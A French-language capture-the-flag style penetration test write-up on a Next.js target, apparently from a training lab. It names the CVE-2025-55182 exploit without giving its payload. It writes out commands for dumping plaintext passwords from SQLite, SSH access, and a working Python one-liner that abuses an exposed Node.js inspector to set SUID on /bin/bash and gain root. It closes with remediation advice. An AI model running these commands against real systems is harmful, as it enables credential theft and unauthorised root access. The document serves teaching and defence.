
Compte rendu technique de test d'intrusion démontrant l'exploitation de CVE-2025-55182 dans Next.js, la collecte d'identifiants depuis SQLite, et l'élévation de privilèges via l'inspecteur Node.js pour obtenir un accès root.
Ce write-up technique détaille le chemin d'exploitation pour compromettre une cible hébergeant une application web Next.js vulnérable, obtenir un accès initial via des identifiants récupérés, et exploiter un inspector V8 Node.js local mal configuré pour une élévation de privilèges vers root.
La cible héberge une application web Next.js fonctionnant sur les ports HTTP/HTTPS standards (80/443). L'énumération standard des répertoires et l'analyse manuelle indiquent que l'application exécute une version vulnérable à la CVE-2025-55182.
Pour exploiter la vulnérabilité, interceptez le trafic de l'application à l'aide de Burp Suite (ou Burp Repeater) et injectez une charge utile d'exploitation conçue pour cibler la CVE-2025-55182.
Après avoir obtenu l'exécution de code et la lecture de fichiers locaux via l'exploit, inspectez le répertoire source de l'application. Le fichier de base de données SQLite locale (database.db) est situé à côté du code source principal de l'application.
Interrogez ou extrayez le contenu du fichier de base de données pour récupérer les enregistrements utilisateurs stockés.
sqlite3 database.db "SELECT * FROM users;"
Localisez le mot de passe en clair associé à l'utilisateur SSH local engineer.
Utilisez les identifiants récupérés pour établir une session SSH avec la machine cible :
ssh engineer@<TARGET-IP>
Une fois authentifié, lisez le drapeau utilisateur situé dans le répertoire personnel :
cat /home/engineer/user.txt
Vérifiez les services liés exclusivement à l'interface de bouclage locale (127.0.0.1) pour identifier les surfaces d'attaque internes :
netstat -tulnp
Résultat : Un service Node.js interne écoute activement sur le port local 9229.
Les ports de débogage V8 de Node.js nécessitent un UUID de session unique pour la communication WebSocket. Interrogez le point de terminaison de découverte local à l'aide de curl avec /json ajouté :
curl -s http://127.0.0.1:9229/json
Sortie :
{
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}
Étant donné que le processus Node.js cible s'exécute avec les privilèges root, vous pouvez envoyer un message Runtime.evaluate du protocole Chrome DevTools (CDP) via Python sur WebSockets pour définir le bit SUID sur /bin/bash :
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'
Vérifiez que /bin/bash dispose désormais des permissions SUID activées (-rwsr-sr-x), puis invoquez Bash en préservant les privilèges :
ls -l /bin/bash
bash -p
Naviguez vers le répertoire personnel de l'utilisateur root pour capturer le drapeau final :
cd /root
cat root.txt
La sécurisation des environnements contre ces vecteurs nécessite de corriger les applications web vulnérables aux CVE connues, de restreindre correctement les permissions des fichiers de base de données, et de garantir que les ports de débogage (tels que l'inspector Node.js sur le port 9229) ne soient jamais exposés ou laissés accessibles sans authentification dans les environnements de production.